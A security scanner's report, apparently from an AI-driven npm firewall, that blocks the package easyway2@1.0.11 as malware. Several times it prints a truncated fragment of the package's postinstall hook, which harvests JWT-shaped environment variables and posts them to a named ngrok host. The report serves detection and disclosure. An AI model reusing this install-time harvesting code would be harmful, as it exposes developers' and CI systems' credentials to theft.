easyway2@1.0.11: Malicious npm security report (Block)

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Installing the package automatically executes an inline Node script. It harvests JWT-shaped environment values and sends them to a remote ngrok host.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm install runs the `postinstall` lifecycle hook

Impact

Exposure of CI, developer, or runtime JWT credentials to an attacker-controlled endpoint.

Mechanism

install-time environment-token harvesting and HTTP exfiltration

Attack narrative

During installation, `package.json` runs inline Node code that enumerates `process.env`, identifies JWT-looking values, and sends each matched token plus its environment-variable name in a POST request to a remote ngrok endpoint. This requires no user command beyond installing the package and is a direct credential-exfiltration chain.

Rationale

Direct source inspection confirms unconsented postinstall credential harvesting and remote exfiltration. This is concrete malicious behavior, not a scanner-only inference.

Evidence

package.json

Network endpoints1

crabbing-thong-overhung.ngrok-free.dev/jwt

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`package.json` defines an automatic `postinstall` hook.
The hook scans all environment variables for JWT-shaped values.
Matched JWTs are serialized with their environment-variable names.
The hook POSTs collected tokens to `crabbing-thong-overhung.ngrok-free.dev/jwt`.

Evidence against

Package contains only `package.json`; no legitimate implementation or documented install purpose is present.
No user-invoked command or consent gate protects the collection.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 0 file(s), 0 B of source

Source & flagged code

2 flagged

package.jsonView file

•scripts.postinstall = node -e "const http=require('http'); const link='crabbing-thong-overhung.ngrok-free.dev'; let f=[]; Object.entries(process.env).forEach(([k,v])=>{ if(/ey[a-zA-Z0-9_-]{10,}\./.test(...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "const http=require('http'); const link='crabbing-thong-overhung.ngrok-free.dev'; let f=[]; Object.entries(process.env).forEach(([k,v])=>{ if(/ey[a-zA-Z0-9_-]{10,}\./.test(...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

Source & flagged code

2 flagged · loading source

package.jsonView file

•scripts.postinstall = node -e "const http=require('http'); const link='crabbing-thong-overhung.ngrok-free.dev'; let f=[]; Object.entries(process.env).forEach(([k,v])=>{ if(/ey[a-zA-Z0-9_-]{10,}\./.test(...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "const http=require('http'); const link='crabbing-thong-overhung.ngrok-free.dev'; let f=[]; Object.entries(process.env).forEach(([k,v])=>{ if(/ey[a-zA-Z0-9_-]{10,}\./.test(...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

Findings

1 Critical1 High2 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

LowScripts Present

LowNo License